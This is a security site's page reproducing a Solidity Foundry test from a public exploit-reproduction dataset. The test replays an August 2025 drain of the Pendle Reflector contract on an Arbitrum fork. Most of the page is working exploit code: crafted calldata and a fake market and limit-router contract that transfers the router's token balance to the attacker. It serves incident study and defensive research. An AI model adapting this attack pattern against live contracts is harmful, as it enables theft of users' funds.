Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/PendleReflector_exp.sol

Public reproduction file for dataset entry PendleReflector.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/PendleReflector_exp.sol202 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 2304.18 USD
8// Attacker : 0x6c1d0f1EF9ac1C989cCA02955d0e2b23d134e03A
9// Attack Contract : 0xb630D5Ba520Ca38E9137900BDFe2eD8900665D0D
10// Vulnerable Contract : 0x5039Da22E5126e7c4e9284376116716A91782faF
11// Attack Tx : https://arbiscan.io/tx/0xf6c6a639d644122803ecc655f6debdc5f2333516eedb9d5991088d170e2e36fb
12//
13// @Info
14// Vulnerable Contract Code : https://arbiscan.io/address/0x5039Da22E5126e7c4e9284376116716A91782faF#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1596
18//
19// Attack summary: The attacker called Pendle Reflector with crafted router calldata that used a fake market and a
20// fake limit router. Reflector scaled each call to its full PT token balance, approved the real Pendle router, and the
21// fake limit router pulled the router's temporary token balance to the attacker.
22// Root cause: Reflector.reflect(bytes) trusted caller-supplied Pendle market and limit-router calldata while operating
23// on Reflector-held token balances.
25address constant ATTACKER = 0x6c1d0f1EF9ac1C989cCA02955d0e2b23d134e03A;
26address constant ATTACK_CONTRACT = 0xb630D5Ba520Ca38E9137900BDFe2eD8900665D0D;
27address constant REFLECTOR = 0x5039Da22E5126e7c4e9284376116716A91782faF;
28address constant PENDLE_ROUTER = 0x888888888889758F76e7103c6CbF23ABbF58F946;
29address constant ACTION_SWAP_YT_V3 = 0x4a03Ce0a268951d04E187B1CF48075eE69266e27;
30address constant PT_MPENDLE = 0x4a94091CAdD74BDf313B74d58EAc908C5fC53704;
31address constant PT_STK_EPENDLE = 0x2A18A490EC18b019837f6153269d21A772167292;
33struct ApproxParams {
34 uint256 guessMin;
35 uint256 guessMax;
36 uint256 guessOffchain;
37 uint256 maxIteration;
38 uint256 eps;
41struct Order {
42 uint256 salt;
43 uint256 expiry;
44 uint256 nonce;
45 uint8 orderType;
46 address token;
47 address YT;
48 address maker;
49 address receiver;
50 uint256 makingAmount;
51 uint256 lnImpliedRate;
52 uint256 failSafeRate;
53 bytes permit;
56struct FillOrderParams {
57 Order order;
58 bytes signature;
59 uint256 makingAmount;
62struct LimitOrderData {
63 address limitRouter;
64 uint256 epsSkipMarket;
65 FillOrderParams[] normalFills;
66 FillOrderParams[] flashFills;
67 bytes optData;
70interface IPendleReflector {
71 function reflect(
72 bytes calldata inputData
73 ) external returns (bytes memory result);
76interface IPendleActionSwapYTV3 {
77 function swapExactSyForYt(
78 address receiver,
79 address market,
80 uint256 exactSyIn,
81 uint256 minYtOut,
82 ApproxParams calldata guessYtOut,
83 LimitOrderData calldata limit
84 ) external returns (uint256 netYtOut, uint256 netSyFee);
87interface IPendleLimitRouter {
88 function fill(
89 FillOrderParams[] calldata params,
90 address receiver,
91 uint256 maxTaking,
92 bytes calldata optData,
93 bytes calldata callback
94 ) external returns (uint256 actualMaking, uint256 actualTaking, uint256 totalFee, bytes memory ret);
97contract ContractTest is BaseTestWithBalanceLog {
98 FakePendleMarketLimitRouter fakeMarket;
100 function setUp() public {
101 uint256 forkBlock = 363_776_990;
102 vm.createSelectFork("arbitrum", forkBlock);
103 vm.label(ATTACKER, "Attacker");
104 vm.label(ATTACK_CONTRACT, "Attack Contract");
105 vm.label(REFLECTOR, "Pendle Reflector");
106 vm.label(PENDLE_ROUTER, "Pendle Router");
107 vm.label(ACTION_SWAP_YT_V3, "Pendle ActionSwapYTV3");
108 vm.label(PT_MPENDLE, "PT-mPendle-27MAR2025");
109 vm.label(PT_STK_EPENDLE, "PT-stk-EPendle-27MAR2025");
111 attacker = ATTACKER;
112 multiAssetLog = true;
113 fundingTokens.push(PT_MPENDLE);
114 fundingTokens.push(PT_STK_EPENDLE);
116 fakeMarket = new FakePendleMarketLimitRouter(ATTACKER);
117 }
119 function testExploit() public balanceLog {
120 uint256 mPendleVictimBefore = IERC20(PT_MPENDLE).balanceOf(REFLECTOR);
121 uint256 stkEPendleVictimBefore = IERC20(PT_STK_EPENDLE).balanceOf(REFLECTOR);
122 uint256 mPendleAttackerBefore = IERC20(PT_MPENDLE).balanceOf(ATTACKER);
123 uint256 stkEPendleAttackerBefore = IERC20(PT_STK_EPENDLE).balanceOf(ATTACKER);
125 // step 1: drain Reflector's PT-mPendle through a fake Pendle market and limit router.
126 _reflectAndDrain(PT_MPENDLE, mPendleVictimBefore);
128 // step 2: reuse the same fake market path for Reflector's PT-stk-EPendle balance.
129 _reflectAndDrain(PT_STK_EPENDLE, stkEPendleVictimBefore);
131 assertEq(IERC20(PT_MPENDLE).balanceOf(REFLECTOR), 0, "PT-mPendle left in Reflector");
132 assertEq(IERC20(PT_STK_EPENDLE).balanceOf(REFLECTOR), 0, "PT-stk-EPendle left in Reflector");
133 assertGe(
134 IERC20(PT_MPENDLE).balanceOf(ATTACKER) - mPendleAttackerBefore, mPendleVictimBefore, "PT-mPendle profit"
135 );
136 assertGe(
137 IERC20(PT_STK_EPENDLE).balanceOf(ATTACKER) - stkEPendleAttackerBefore,
138 stkEPendleVictimBefore,
139 "PT-stk-EPendle profit"
140 );
141 }
143 function _reflectAndDrain(
144 address token,
145 uint256 amount
146 ) internal {
147 fakeMarket.settoken(token);
148 IPendleReflector(REFLECTOR).reflect(_buildReflectorInput(amount));
149 }
151 function _buildReflectorInput(
152 uint256 exactSyIn
153 ) internal view returns (bytes memory) {
154 ApproxParams memory guess = ApproxParams({guessMin: 0, guessMax: 0, guessOffchain: 0, maxIteration: 32, eps: 0});
155 LimitOrderData memory limit = _fakeLimitOrderData();
157 return abi.encodeCall(
158 IPendleActionSwapYTV3.swapExactSyForYt, (ATTACK_CONTRACT, address(fakeMarket), exactSyIn, 0, guess, limit)
159 );
160 }
162 function _fakeLimitOrderData() internal view returns (LimitOrderData memory limit) {
163 limit.limitRouter = address(fakeMarket);
164 limit.epsSkipMarket = 3;
165 limit.normalFills = new FillOrderParams[](1);
166 limit.flashFills = new FillOrderParams[](0);
167 limit.optData = "";
168 }
171contract FakePendleMarketLimitRouter is IPendleLimitRouter {
172 address private token;
173 address private immutable attacker;
175 constructor(
176 address attacker_
177 ) {
178 attacker = attacker_;
179 }
181 function settoken(
182 address token_
183 ) external {
184 token = token_;
185 }
187 function readTokens() external view returns (address SY, address PT, address YT) {
188 return (token, token, token);
189 }
191 function fill(
192 FillOrderParams[] calldata,
193 address,
194 uint256 maxTaking,
195 bytes calldata,
196 bytes calldata
197 ) external returns (uint256 actualMaking, uint256 actualTaking, uint256 totalFee, bytes memory ret) {
198 uint256 routerBalance = IERC20(token).balanceOf(PENDLE_ROUTER);
199 IERC20(token).transferFrom(PENDLE_ROUTER, attacker, routerBalance);
200 return (0, maxTaking, 0, "");
201 }

Analysis

Dataset entry

Public Foundry test for “PendleReflector” (2025-08-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6c1d0f1ef9ac1c989cca02955d0e2b23d134e03a

  • Attack Contract

    0xb630d5ba520ca38e9137900bdfe2ed8900665d0d

  • Vulnerable Contract

    0x5039da22e5126e7c4e9284376116716a91782faf

  • Attack Tx

    0xf6c6a639d644122803ecc655f6debdc5f2333516eedb9d5991088d170e2e36fb

File record

Name
PendleReflector
Path
src/test/2025-08/PendleReflector_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8563f6c5acaa7a38be49d1f7683a40fc0c6fd909
Language
Solidity
Size
203 lines
Date
2025-08-01
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/PendleReflector_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8563f6c5acaa7a38be49d1f7683a40fc0c6fd909, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.